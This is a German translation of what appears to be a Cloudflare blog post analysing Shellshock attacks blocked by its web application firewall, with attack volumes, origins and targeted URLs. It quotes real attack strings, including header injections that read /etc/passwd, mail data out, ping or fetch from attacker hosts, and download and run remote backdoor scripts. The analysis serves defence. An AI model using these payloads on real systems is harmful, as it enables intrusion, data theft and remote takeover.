Am Mittwoch letzter Woche tauchten Details des Shellshock-Bash-Fehlers auf. Dieser Fehler löste ein Gerangel aus, um Computer, Server, Router, Firewalls und andere Computergeräte mit anfälligen Versionen von bash zu patchen.

CloudFlare hat den Schutz für Pro-, Business- und Enterprise-Kunden sofort über unsere Web Application Firewall eingeführt. Am Sonntag, nachdem wir das Ausmaß des Problems untersucht und Protokolle von Angriffen angesehen hatten, die von unserer WAF gestoppt wurden, beschlossen wir, den Schutz auch für unsere Kunden mit kostenlosem Plan einzuführen.

Seitdem überwachen wir Angriffe, die wir gestoppt haben, um zu verstehen, wie sie aussehen und woher sie kommen. Basierend auf unseren Beobachtungen ist klar, dass Hacker Shellshock weltweit ausnutzen.

(CC BY 2.0 aussiegall)

Eject

Das Shellshock-Problem ist ein Beispiel für eine ACE-Schwachstelle (Arbitrary Code Execution). In der Regel werden ACE-Schwachstellenangriffe auf laufende Programme ausgeführt und erfordern ein hochentwickeltes Verständnis der Interna der Codeausführung, des Speicherlayouts und der Assemblersprache — kurz gesagt, diese Art von Angriff erfordert einen Experten.

Angreifer nutzen auch eine ACE-Sicherheitsanfälligkeit, um ein Programm hochzuladen oder auszuführen, mit dem sie den Zielcomputer auf einfache Weise steuern können. Dies wird oft durch Ausführen einer „Shell“ erreicht. Eine Shell ist eine Befehlszeile, in der Befehle eingegeben und ausgeführt werden können.

Die Shellshock-Sicherheitsanfälligkeit ist ein großes Problem, da sie Spezialwissen überflüssig macht und eine einfache (leider sehr einfache) Möglichkeit bietet, die Kontrolle über einen anderen Computer (z. B. einen Webserver) zu übernehmen und ihn auszuführen Code.

Angenommen, Sie wollten einen Webserver angreifen und dessen CD- oder DVD-Laufwerk öffnen. Es gibt tatsächlich einen Befehl unter Linux, der das tut: /bin/eject . Wenn ein Webserver anfällig für Shellshock ist, können Sie ihn angreifen, indem Sie die magische Zeichenfolge () { :; }; zu /bin/eject hinzufügen und diese Zeichenfolge dann über HTTP an den Zielcomputer senden. Normalerweise würde die Zeichenfolge User-Agent den von Ihnen verwendeten Browsertyp identifizieren, aber im Fall der Shellshock-Sicherheitsanfälligkeit kann sie so eingestellt werden, dass sie etwas sagt.

Zum Beispiel, wenn example.com war dann

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

würde ausreichen, um das CD- oder DVD-Laufwerk tatsächlich auszuwerfen.

Bei der Überwachung der Shellshock-Angriffe, die wir blockiert haben, haben wir tatsächlich jemanden gesehen, der genau diesen Angriff versucht hat. Wenn Sie also einen Webserver betreiben und plötzlich eine ausgeworfene DVD finden, kann dies ein Hinweis darauf sein, dass Ihr Computer anfällig für Shellshock ist.

Warum dieser einfache Angriff funktioniert

Wenn ein Webserver eine Anforderung für eine Seite empfängt, gibt es drei Teile der Anforderung, die für den Shellshock-Angriff anfällig sein können: die Anforderungs-URL, die Header, die zusammen mit der URL gesendet werden, und sogenannte „Argumente“ (wenn Sie Ihren Namen und Ihre Adresse auf einer Website eingeben, werden diese normalerweise als Argumente in der Anforderung gesendet).

Hier ist zum Beispiel eine tatsächliche HTTP-Anfrage, die die CloudFlare-Homepage abruft:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

In diesem Fall lautet die URL / (die Hauptseite) und die Header sind Accept-EncodingAccept-Language , etc. Diese Header liefern dem Webserver Informationen über die Funktionen meines Webbrowsers, meine bevorzugte Sprache, die gesuchte Website und den von mir verwendeten Browser.

Es ist nicht ungewöhnlich, dass diese innerhalb eines Webservers in Variablen umgewandelt werden, damit der Webserver sie untersuchen kann. (Der Webserver möchte vielleicht wissen, was meine bevorzugte Sprache ist, damit er entscheiden kann, wie er auf mich antworten soll).

Innerhalb des Webservers, der auf die Anforderung für die CloudFlare-Startseite antwortet, können beispielsweise die folgenden Variablen definiert werden, indem die Anforderungsheader zeichenweise kopiert werden.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

Solange diese Variablen in der Webserver-Software verbleiben und nicht an andere Programme übergeben werden, die auf dem Webserver ausgeführt werden, ist der Server nicht anfällig.

Shellshock tritt auf, wenn die Variablen an die Shell „bash“ übergeben werden. Bash ist eine gängige Shell, die auf Linux-Systemen verwendet wird. Webserver müssen häufig andere Programme ausführen, um auf eine Anfrage zu antworten, und es ist üblich, dass diese Variablen an bash oder eine andere Shell übergeben werden.

Das Shellshock-Problem tritt insbesondere auf, wenn ein Angreifer die Ursprungs-HTTP-Anforderung so ändert, dass sie die oben beschriebene magische () { :; }; Zeichenfolge enthält.Angenommen, der Angreifer ändert den obigen User-Agent-Header von Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 in einfach () { :; }; /bin/eject . Dadurch wird die folgende Variable in einem Webserver erstellt:

HTTP_USER_AGENT=() { :; }; /bin/eject

Wenn diese Variable vom Webserver an bash übergeben wird, tritt das Shellshock-Problem auf. Dies liegt daran, dass bash spezielle Regeln für die Behandlung einer Variablen hat, die mit () { :; }; . Anstatt die Variable HTTP_USER_AGENT als eine Folge von Zeichen ohne besondere Bedeutung zu behandeln, interpretiert bash sie als einen Befehl, der ausgeführt werden muss (ich habe die tief technischen Erklärungen weggelassen, warum () { :; }; bash dazu bringt, sich aus Gründen der Klarheit in diesem Aufsatz so zu verhalten.)

Das Problem ist, dass HTTP_USER_AGENT vom User-Agent Header stammt, den ein Angreifer kontrolliert, weil er in den Webserver kommt in einer HTTP-Anfrage. Und das ist ein Rezept für eine Katastrophe, da ein Angreifer einen anfälligen Server dazu bringen kann, jeden gewünschten Befehl auszuführen (siehe Beispiele unten).

Die Lösung besteht darin, bash auf eine Version zu aktualisieren, die () { :; }; nicht auf besondere Weise interpretiert.

Woher Angriffe kommen

Als wir den Schutz für alle Kunden eingeführt haben, haben wir eine Metrik eingeführt, mit der wir die Anzahl der versuchten Shellshock-Angriffe überwachen konnten. Sie alle haben einen HTTP 403 Forbidden-Fehlercode erhalten, aber wir haben ein Protokoll darüber geführt, wann sie aufgetreten sind, und grundlegende Informationen über den Angriff.

Dieses Diagramm zeigt die Anzahl der Angriffe pro Sekunde im gesamten CloudFlare-Netzwerk seit der Einführung des Schutzes für alle Kunden.

Von dem Moment an, als CloudFlare unseren Shellshock-Schutz einschaltete, bis zum frühen Morgen, sahen wir 10 bis 15 Angriffe pro Sekunde. In der Reihenfolge des Angriffsvolumens kamen diese Anfragen aus Frankreich (80%), den USA (7%), den Niederlanden (7%) und dann kleineren Mengen aus vielen anderen Ländern.

Gegen 01:00 Uhr (10:00 Uhr in Paris) hörten die Angriffe aus Frankreich auf. Wir sehen derzeit etwa 5 Angriffe pro Sekunde. Zum Zeitpunkt des Schreibens haben wir weit über 1,1 Millionen Shellshock-Angriffe blockiert.

Lassen Sie Ihrer Fantasie freien Lauf

Da es so einfach ist, anfällige Computer mit Shellshock anzugreifen, und weil eine anfällige Maschine jeden an sie gesendeten Befehl ausführt, haben Angreifer ihrer Fantasie freien Lauf gelassen, um Computer aus der Ferne zu manipulieren.

Cloudflares WAF protokolliert den Grund, warum eine Anforderung blockiert wurde, sodass wir die tatsächlich verwendeten Shellshock-Zeichenfolgen extrahieren und analysieren können. Shellshock wird hauptsächlich zur Aufklärung eingesetzt: um private Informationen zu extrahieren und Angreifern die Kontrolle über Server zu ermöglichen.

Die meisten Shellshock-Befehle werden mit den HTTP-User-Agent- und Referer-Headern injiziert, aber Angreifer verwenden auch GET- und POST-Argumente und andere zufällige HTTP-Header.

Um private Informationen zu extrahieren, verwenden Angreifer verschiedene Techniken. Die einfachsten Extraktionsangriffe sind in der Form:

() {:;}; /bin/cat /etc/passwd

Das liest die Passwortdatei /etc/passwdund fügt sie der Antwort vom Webserver hinzu. Ein Angreifer, der diesen Code über die Shellshock-Sicherheitsanfälligkeit injiziert, würde also die Kennwortdatei als Teil der zurückgegebenen Webseite auf seinem Bildschirm sehen.

Bei einem Angriff senden sie sich einfach private Dateien per E-Mail. Um Daten per E-Mail zu erhalten, verwenden Angreifer den Befehl mail wie folgt:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

Dieser Befehl führt zuerst whoami aus, um den Namen des Benutzers herauszufinden, auf dem der Webserver ausgeführt wird. Das ist besonders nützlich, denn wenn der Webserver als root ausgeführt wird (der Superuser, der alles tun kann), ist der Server ein besonders reiches Ziel.

Es sendet dann den Benutzernamen zusammen mit dem Namen der angegriffenen Website (example.com oben) per E-Mail. Der Name der Website wird in der Betreffzeile der E-Mail angezeigt.

Der Angreifer kann sich nach Belieben in seine E-Mails einloggen und herausfinden, welche Websites anfällig waren. Die gleiche E-Mail-Technik kann verwendet werden, um Daten wie die Passwortdatei zu extrahieren.

(CC VON 2.0 JD Hancock)

Reconnaissance

Der mit Abstand beliebteste Angriff, den wir gesehen haben (rund 83% aller Angriffe), heißt „Reconnaissance“. Bei Aufklärungsangriffen sendet der Angreifer einen Befehl, der eine Nachricht an einen Computer eines Drittanbieters sendet. Der Computer des Drittanbieters erstellt dann eine Liste aller anfälligen Computer, die ihn kontaktiert haben.

In der Vergangenheit haben wir Listen kompromittierter Maschinen gesehen, die in Botnetze für DDoS, Spam oder andere Zwecke umgewandelt wurden.

Eine beliebte Aufklärungstechnik verwendet den Befehl ping, um einen anfälligen Computer dazu zu bringen, ein einzelnes Paket (Ping genannt) an einen Server eines Drittanbieters zu senden, den der Angreifer kontrolliert. Die Angriffszeichenfolge sieht folgendermaßen aus:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

Der Befehl ping wird normalerweise verwendet, um zu testen, ob eine Maschine „lebendig“ oder online ist (eine lebende Maschine antwortet mit einem eigenen Ping). Wenn ein Webserver anfällig für Shellshock ist, sendet er ein einzelnes Ping-Paket (-c 1) an den Angreifer.com mit einer von -p festgelegten Nutzlast. Die Nutzlast ist eine eindeutige ID, die vom Angreifer erstellt wurde, damit er den Ping zurück zur anfälligen Website verfolgen kann.

Eine weitere Technik zur Identifizierung anfälliger Server besteht darin, den Webserver dazu zu bringen, eine Webseite von einem vom Angreifer kontrollierten Computer herunterzuladen. Der Angreifer kann dann in seinen Webserverprotokollen nachsehen, welcher Computer anfällig war. Dieser Angriff funktioniert durch Senden einer Shellshock-Zeichenfolge wie:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

Der Angreifer sucht im Webserver-Log von attacker-controlled.com für Einträge. Die heruntergeladene Seite wird vom Angreifer so eingerichtet, dass sie den Namen der angegriffenen Site preisgibt. Die ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== ist eigentlich ein Code, der anzeigt, dass die angegriffene Site example.com .

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== ist eigentlich eine base64-codierte Zeichenfolge. Wenn es decodiert wird, liest es:

example.comShellShockSalt

Aus dieser Zeichenfolge kann der Angreifer herausfinden, ob sein Angriff auf example .com war erfolgreich, und wenn ja, können sie später zurückkehren, um diese Site weiter auszunutzen. Während ich die Domäne, die das Ziel war, ersetzt habe, sehen wir echte Beispiele in freier Wildbahn, die tatsächlich ShellShockSalt als Salz im Hash verwenden.

Diensteverweigerung

Ein weiterer Shellshock-Angriff verwendet diese Zeichenfolge

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

Es wird versucht, den Befehl sleep auf drei verschiedene Arten auszuführen (da Systeme leicht unterschiedliche Konfigurationen haben, können sie in den Verzeichnissen /bin oder /sbin oder /usr/bin). Unabhängig davon, in welchem Ruhezustand es ausgeführt wird, wartet der Server 20 Sekunden, bevor er antwortet . Dies verbraucht Ressourcen auf dem Computer, da ein Thread oder Prozess, der die sleep ausführt, 20 Sekunden lang nichts anderes ausführt.

Dies ist vielleicht der einfachste Denial-of-Service von allen. Die Angreifer weisen die Maschine einfach an, eine Weile zu schlafen. Senden Sie genug von diesen Befehlen, und die Maschine könnte gebunden sein, nichts zu tun und nicht in der Lage, legitime Anfragen zu bedienen.

(CC BY 2.0 peter castleton)

Kontrolle übernehmen

Rund 8% der Angriffe, die wir bisher gesehen haben, zielten darauf ab, direkt die Kontrolle über einen Server zu übernehmen. Fernsteuerungsangriffe sehen folgendermaßen aus:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Dieser Befehl versucht, zwei Programme (wget und curl) zu verwenden, um ein Programm von einem Server herunterzuladen, den der Angreifer kontrolliert. Das Programm ist in der Sprache Perl geschrieben und wird nach dem Herunterladen sofort ausgeführt. Dieses Programm richtet einen Fernzugriff für einen Angreifer auf den anfälligen Webserver ein.

Ein weiterer Angriff verwendet die Python-Sprache, um ein Programm einzurichten, mit dem ein beliebiger Befehl auf dem anfälligen Computer remote ausgeführt werden kann:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

Das cl.py heruntergeladene Programm sieht aus wie ein Update des ClamAV Antivirus-Programms. Nach einer Verzögerung von 5 Sekunden wird der Angriff von selbst bereinigt, indem die heruntergeladene Datei entfernt wird (sodass sie nur im Speicher ausgeführt wird).

(CC BY 2.0 Jeff Taylor)

Zielauswahl

Mit Blick auf die angegriffenen Websites und die angeforderten URLs ist es möglich, eine fundierte Vermutung über die angegriffenen spezifischen Webanwendungen anzustellen.

Die Top-URLs, die wir angegriffen haben, sind: /(23.00%), /cgi-bin-sdb/printenv(15,12%), /cgi-mod/Index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15,20%) und /cgi-sys/defaultwebpage.cgi(14,59%). Einige dieser URLs werden von gängigen Webanwendungen und sogar einer Hardware-Appliance verwendet.Es scheint, dass 23% der Angriffe gegen die cPanel-Webhosting-Steuerungssoftware, 15% gegen alte Apache-Installationen und 15% gegen die Barracuda-Hardwareprodukte gerichtet sind, die über eine webbasierte Schnittstelle verfügen.

Letzteres ist interessant, weil es die Tatsache hervorhebt, dass Shellshock nicht nur ein Angriff auf Websites ist: Es ist ein Angriff auf alles, was bash läuft und über das Internet zugänglich ist. Das könnte Hardware-Geräte umfassen, Set-Top-Boxen, Laptop-Computer, sogar, vielleicht, Telefone.